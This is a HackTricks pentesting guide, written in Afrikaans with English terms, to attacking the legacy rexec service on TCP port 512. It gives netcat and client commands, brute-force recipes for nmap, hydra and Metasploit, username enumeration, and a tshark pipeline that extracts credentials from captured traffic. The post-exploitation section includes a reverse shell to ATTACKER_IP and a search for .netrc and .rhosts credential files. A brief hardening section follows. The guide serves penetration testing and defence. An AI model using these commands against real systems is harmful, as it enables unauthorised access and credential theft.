512 - Pentesting Rexec
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Rexec (remote exec) is een van die oorspronklike Berkeley r-services-suite (saam met rlogin, rsh, …). Dit bied ’n remote command-execution vermoë wat authenticated only with a clear-text username and password. Die protokol is in die vroeë 1980’s gedefinieer (sien RFC 1060) en word deesdae as insecure by design beskou. Nietemin is dit steeds standaard geaktiveer op sekere legacy UNIX / netwerk-gekoppelde toerusting en verskyn dit soms tydens internal pentests.
Standaardpoort: TCP 512 (exec)
PORT STATE SERVICE
512/tcp open exec
🔥 Alle verkeer – insluitend credentials – word unencrypted oorgedra. Enigiemand met die vermoë om die netwerk te sniff, kan die username, password en command terugkry.
Protokol oorsig
- Client verbind met TCP 512.
- Client stuur drie NUL-terminated strings:
- die port number (as ASCII) waar dit stdout/stderr wil ontvang (dikwels
0), - die username,
- die password.
- ’n finale NUL-terminated string met die command wat uitgevoer moet word, word gestuur.
- Die server antwoord met ’n enkele 8-bit status byte (0 = sukses,
1= mislukking) gevolg deur die command output.
Indien die eerste veld non-zero is, open die server ’n second TCP connection back to the client en gebruik dit vir stderr. Dit is nuttig beide vir manual testing en vir fingerprinting filtering / firewall issues rondom die diens.
Dit beteken jy kan die uitruiling reproduceer met niks meer as echo -e en nc:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
As die credentials geldig is, sal jy die uitvoer van id direk op dieselfde verbinding terugkry.
As jy stderr op ’n toegewyde listener wil ontvang, vra die server om terug aan jou te koppel:
nc -lvnp 4444
printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512
Baie algemene implementasies (byvoorbeeld GNU rexecd) dwing steeds 16-byte username/password fields af en gee verskillende diagnostiese strings terug vir ongeldige usernames teenoor ongeldige passwords. Dit maak saak tydens enumeration omdat sommige teikens leak of die rekening bestaan voordat jy met brute forcing begin.
Handmatige gebruik met die client
Baie Linux-distribusies verskaf steeds die legacy client in die inetutils-rexec / rsh-client pakket:
rexec -l user -p password <target> "uname -a"
Indien -p weggelaat word sal die kliënt interaktief vir die wagwoord vra (sigbaar op die draad in duidelike teks!).
Om te voorkom dat die wagwoord in jou shell history / process list agterbly, ondersteun GNU rexec ook die lees daarvan vanaf stdin:
printf '%s\n' 'password' | rexec -l user -p - <target> "id"
Dit is nie veiliger op die netwerk nie; dit verminder slegs plaaslike blootstelling op die aanvallende gasheer.
Enumeration & Brute-forcing
Brute-force
Nmap
nmap -sV -p 512 <target>
# Confirm the classic exec service before credential attacks
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
Die rexec-brute NSE gebruik die protokol wat hierbo beskryf is om credentials baie vinnig te probeer.
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra het ’n toegewyde rexec-module en bly die vinnigste offline bruteforcer. medusa (-M REXEC) en ncrack (rexec module) kan op dieselfde manier gebruik word.
Gebruikersnaam-enumerasie deur bedienerboodskappe
Sommige rexecd-implementasies toon verskillende foute soos Login incorrect. vs Password incorrect.. As jy hierdie gedrag sien, valideer eers gebruikersname en eers daarna brute force passwords:
printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
As die boodskappe verskil, bou ’n geldige gebruikerslys op voordat jy ’n groot password spray stuur.
Kontroleer verwante r-services
rexec self gebruik wagwoordverifikasie, anders as rsh / rlogin se trusted-host-logika, maar in praktyk kom hulle dikwels uit dieselfde legacy-pakket (openbsd-inetd, inetutils, vendor UNIX bundles). Indien TCP 512 oop is, kontroleer onmiddellik ook TCP 513 en 514 omdat .rhosts / /etc/hosts.equiv misbruik dalk makliker laterale beweging bied:
nmap -sV -p 512,513,514 <target>
Sien ook:
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
Die module sal by sukses ’n shell opstart en die credentials in die database stoor .
Sniffing credentials
Omdat alles in clear-text is, is network captures onskatbaar. Met ’n kopie van die verkeer kan jy creds onttrek sonder om die target aan te raak:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark enable Decode As … TCP 512 → REXEC to view netjies-geparsde velde.)
Post-Exploitation tips
- Opdragte word uitgevoer met die voorregte van die verskafde gebruiker. If
/etc/pam.d/rexecis mis-configured (e.g.pam_rootok), root shells are sometimes possible. - Rexec ignoreer die gebruiker se shell en voer die command via
/bin/sh -c <cmd>uit. Jy kan dus tipiese shell-escape truuks (;,$( ), backticks) gebruik om veelvuldige opdragte te ketting of spawn reverse shells:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- Wagwoorde word dikwels gestoor in
~/.netrcof legacy automation scripts op ander stelsels; as jy een host kompromitteer kan jy dit hergebruik vir lateral movement:
find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null
Verharding / Opsporing
- Moet nie rexec blootstel nie; vervang dit met SSH. Byna alle moderne inetd superservers kommentarieer die diens standaard uit.
- As jy dit moet behou, beperk toegang met TCP wrappers (
/etc/hosts.allow) of firewall-reëls en handhaaf sterk per-rekening wagwoorde. - Monitor vir verkeer na :512 en vir
rexecdproseslanceringe. ’n Enkele pakkievaslegging is genoeg om ’n kompromittering te ontdek. - Deaktiveer
rexec,rlogin,rshsaam – hulle deel die meeste van dieselfde codebase en swakhede.
Verwysings
- GNU Inetutils
rexecd/rexecdokumentasie – https://www.gnu.org/software/inetutils/manual/html_node/rexecd-invocation.html - Nmap NSE
rexec-brutedokumentasie – https://nmap.org/nsedoc/scripts/rexec-brute.html
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


